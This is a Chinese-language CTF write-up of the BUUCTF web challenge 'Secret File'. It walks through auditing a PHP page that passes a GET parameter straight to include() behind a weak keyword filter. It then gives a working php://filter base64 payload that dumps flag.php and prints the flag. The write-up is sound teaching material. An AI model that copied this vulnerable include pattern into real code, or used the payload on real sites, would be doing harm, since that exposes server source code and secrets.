[极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File
题目来源:buuctf
题目类型:web
涉及考点:代码审计
1. 题目让我们去找秘密,第一反应是检查源代码
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230720121201_image-20230720194602614.png)
发现一个Archive_room.php,点击看看:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230720121202_image-20230720194644654.png)
出现了一个点击按钮,点击后如下:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230720121202_image-20230720194702351.png)
除此之外没有别的线索了
2. 我们依据提示回到上一个页面抓包
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230720121202_image-20230720195011641.png)
发现了一个新的php,进去得到了如下代码:
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
3. 接下来就是代码审计了
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
//strstr()和stristr()都用于在一个较长的字符串中搜索指定的子字符串,
//并返回从该子字符串第一次出现的位置开始到字符串末尾的部分。
//两者区别在于前者对大小写敏感,后者对大小写不敏感
//即程序过滤了 ../ tp input data
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
发现没过滤掉flag,于是尝试file=flag.php
:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230720121202_image-20230720200625694.png)
又被摆了一道。。
突然想到前段时间学到的php伪协议,具体知识点见[ACTF2020 新生赛]Include
于是我们构造payload如下:
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag.php源码的base64加密:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230720121202_image-20230720200915989.png)
对其解密得到flag:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230720121202_image-20230720200958981.png)
flag{75299d36-4549-4f2f-85b5-a9c05d06ecee}
日期:2023.7.20
作者:y0Zero